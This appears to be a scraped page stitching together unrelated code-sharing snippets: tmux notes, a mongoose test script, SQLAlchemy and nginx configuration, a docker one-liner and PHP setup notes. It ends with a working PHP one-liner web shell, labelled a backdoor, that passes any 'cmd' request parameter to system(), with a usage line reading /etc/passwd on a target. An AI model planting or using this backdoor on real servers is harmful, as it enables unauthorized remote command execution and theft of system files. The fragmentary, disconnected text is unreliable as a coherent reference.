This is the reference point. All the other options are based off this.
|-- app
| |-- controllers
| | |-- admin
As configured in my dotfiles.
start new:
tmux
start new with session name:
| var mongoose = require('mongoose'); | |
| var Schema = mongoose.Schema; | |
| var assert = require('assert') | |
| console.log('\n==========='); | |
| console.log(' mongoose version: %s', mongoose.version); | |
| console.log('========\n\n'); | |
| var dbname = 'testing_geojsonPoint'; |
| # This is not used unless SQLALCHEMY_BINDS is not present | |
| SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://{username}:{password}@{hostname}/{database}?charset=utf8' | |
| SQLALCHEMY_BINDS = { | |
| 'master': 'mysql+pymysql://{username}:{password}@{hostname}/{database}?charset=utf8', | |
| 'slave': 'mysql+pymysql://{username}:{password}@{hostname}/{database}?charset=utf8' | |
| } |
| # sets the proxy cache path location, max size 2g | |
| proxy_cache_path /data/nginx/cache levels=1:2 keys_zone=STATIC:100m inactive=24h max_size=2g; | |
| # transfers the `Host` header to the backend | |
| proxy_set_header Host $host; | |
| # uses the defined STATIC cache zone | |
| proxy_cache STATIC; | |
| # cache 200 10 minutes, 404 1 minute, others status codes not cached |
| docker ps | awk {' print $1 '} | tail -n+2 > tmp.txt; for line in $(cat tmp.txt); do docker kill $line; done; rm tmp.txt |
Other people's projects:
My projects (tutorials are on my blog at http://maxoffsky.com):
This procedure is tested on Mac OS X 10.10.5 with Developpers tools installed (xCode).
PHP 5.6 installed with Homebrew.
Download the following files from Oracle website (yes, you need to create an account and accept terms):
| server { | |
| listen 80 default_server; | |
| server_name example.com www.example.com; | |
| access_log /srv/www/example.com/logs/access.log; | |
| error_log /srv/www/example.com/logs/error.log; | |
| root /srv/www/example.com/public; | |
| index index.php index.html; |
| <!-- Simple PHP Backdoor By DK (One-Liner Version) --> | |
| <!-- Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd --> | |
| <?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?> |